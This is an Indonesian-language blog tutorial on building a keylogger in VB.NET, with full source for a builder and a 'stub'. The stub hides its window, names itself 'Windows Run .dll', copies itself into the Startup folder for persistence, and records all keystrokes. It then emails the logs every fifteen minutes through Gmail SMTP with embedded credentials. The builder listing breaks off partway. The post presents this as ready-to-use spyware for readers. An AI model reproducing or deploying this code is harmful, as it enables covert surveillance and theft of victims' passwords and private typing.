Keylogger Buatan Sendiri w/ VB

Barusan abis googling tentang keylogger ... ehhh,tiba tiba aku ngeliat ada link yang berjudul membuat keylogger sendiri ! pas kubaca aku sempat berpikir "hmmm ... kan gak enak kalau aku doang yang tau caranya,menarik juga sih kalau ini kukasih tau ke pengunjung blog ! oke deh kita cukupkan basa basinya langsung ke pointnya aja.

untuk membuat keylogger ini kita membutuhkan program Visual basic.net jadi wajib di install dulu VB nya atau download disini.

mari memulai ,buka VB.net lalu pilih File->New project ->"Windows Forms Application" beri nama "Logic Keylogger" lalu Ok

sekarang kita akan membuat tampilan seperti dibawah ini,masuk ke Toolbox (dikiri) dan tambahkan 2 text box,2 labels,dan satu Tombol,atur tampilan nya menjadi seperti dibawah ini



sekarang klik kanan di form dan klik view code,CTRL-A lalu delete

Paste kan code ini

Code:
Imports System.IO
Public Class Form1
Dim stub, text1, text2 As String
Const FileSplit = "@vorfin@"
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
For Fadein = 0.0 To 1.1 Step 0.1
Me.Opacity = Fadein
Me.Refresh()
Threading.Thread.Sleep(100)
Next
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
text1 = TextBox1.Text
text2 = TextBox2.Text
FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space(LOF(1))

setelah itu pilih File-> Save All.Lalu klik Build,Build Logic Keylogger.

Oke builder uda dibuat,kita buat file stub nya

klik File -> New project->Form Application->Stub-> OK.

di form ini kita tambahkan 3 timers,di bawah kanan rubah times seperti berikut
Timer1-Interval=100
Timer2-Interval=900000
Timer3-Interval=900100

ubah nama form tersebut mnjadi "Windows Run .dll",set opacity menjadi 0% dan ubah "Show Icon In Taskbar" menjadi false.

tambahkan 3 text box seperti ini



Text Box yang gede = Text Box 1(set menjadi "Enabled=False")
Text box kiri = Text box 2
Text box kanan = Text box 3

Seperti tadi ,..Klik kanan -> view Code->delete ,paste kan code ini:

Code:
Imports System.IO
Imports System.Net.Mail
Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim options(), text1, text2 As String
Const FileSplit = "@vorfin@"
Dim Lserver As String = IO.Path.GetFileName(Application.ExecutablePath)
Dim vDirectory As String
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
text1 = Space(LOF(1))
text2 = Space(LOF(1))
FileGet(1, text1)
FileGet(1, text2)
FileClose(1)
options = Split(text1, FileSplit)
TextBox2.Text = options(1)
TextBox3.Text = options(2)
vDirectory = "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
Dim zDir As New DirectoryInfo(vDirectory)
If Not zDir.Exists Then
My.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\" & Lserver, True)
Else
My.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\" & Lserver, True)
End If
Timer1.Start()
Timer2.Start()
Timer3.Start()
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Dim MyMailMessage As New MailMessage
MyMailMessage.From = New MailAddress(TextBox2.Text)
MyMailMessage.To.Add(TextBox2.Text)
MyMailMessage.Subject = ("Logs")
MyMailMessage.Body = (TextBox1.Text)
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox2.Text, TextBox3.Text)
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
End Sub
Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
TextBox1.Clear()
End Sub
End Class

lalu save lagi dan Build

Masuk ke "C\:Dir\Logic Keylogger\bin\release" lalu tambahkan .exe di desktop
lakukan yang sama terhadap stub nya

Run "Logic Keylogger" Enter Information,klik Build.

Selamat kamu baru aja membuat kylogger pertama kamu.

Note: Stub mungkin gak perlu di delete,tapi tidak di butuhkan untuk dikirim bersama server program nya.

Note: Keylogger ini akan mencoba memasuki startup folder di XP,untuk membuat startup di vista hapus kode ini di code yang ke-2

Code:
vDirectory = "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
Dim zDir As New DirectoryInfo(vDirectory)
If Not zDir.Exists Then
My.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\" & Lserver, True)
Else
My.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\" & Lserver, True)
End If